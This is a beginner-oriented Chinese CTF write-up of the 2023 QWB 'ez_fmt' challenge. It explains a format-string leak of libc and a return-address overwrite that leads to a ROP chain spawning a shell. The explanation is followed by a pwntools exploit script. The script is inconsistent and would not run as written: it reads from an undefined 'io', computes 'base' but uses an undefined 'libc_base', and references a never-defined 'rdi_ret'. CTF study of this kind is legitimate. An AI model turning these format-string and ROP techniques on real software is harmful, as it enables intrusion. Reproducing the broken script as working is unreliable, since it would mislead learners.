面向小白详解2023强网杯ez_fmt

一道栈溢出题,需要掌握:格式化字符串漏洞,rop,对栈的理解。

漏洞:

一次机会的格式化字符串漏洞,输入长度限制在0x30

思路:

以一个常规栈溢出题的思路,如下。

1.获取libc_base

非常简单,找到libc_base的偏移即可,调试发现是第19个(字符串偏移为6)直接“%19$p”打印即可。那么system和sh当然也都出来了。

2.如何执行获取shell呢?

保护除了pie全开,而本题又给了栈地址,libc也出来了,那么想到的是利用字符串漏洞任意写篡改返回地址,main函数返回地址直接改为system(sh)的rop链的肯定不行,因为长度限制了0x30。

这里尝试篡改printf返回地址(第二个printf),将其改为pop3_ret的gadget,因为这个gadget和返回地址只差一字节比较好改。再让我们执行程序0x401205处给的read函数,后来再写入system(sh)到返回地址即可。

脚本:

from pwn import *
from LibcSearcher import *
#p=remote("47.96.229.249",7777)
p=process("./pwn")

context(os = "linux", arch = "amd64", log_level= "debug")
#context(os = "linux", arch = "i386", log_level= "debug")

#elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")

p.recvuntil("There is a gift for you ")
buf_adr = int(p.recv(14), 16)
ret_adr = buf_adr-8
pop_ret = 0x00000000004012ce #hex(206)=0xce
read = 0x401205

payload =  b"%206c%10$hhn%19$p"
payload = payload.ljust(0x18, b'\x00')
payload += p64(0x401205) + p64(ret_adr)
p.sendline(payload)

base = int(io.recv(14), 16) - libc.symbols["__libc_start_main"] - 243

payload = flat(
    {
        0x18 : p64(rdi_ret) + p64(libc_base + libc.search(b"/bin/sh").__next__()),
        0x28 : p64(libc_base + 0x051CD2)
    }
)
p.sendline(payload)

p.interactive()

这里给出了栈的图,方便读者理解脚本

  • 6
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值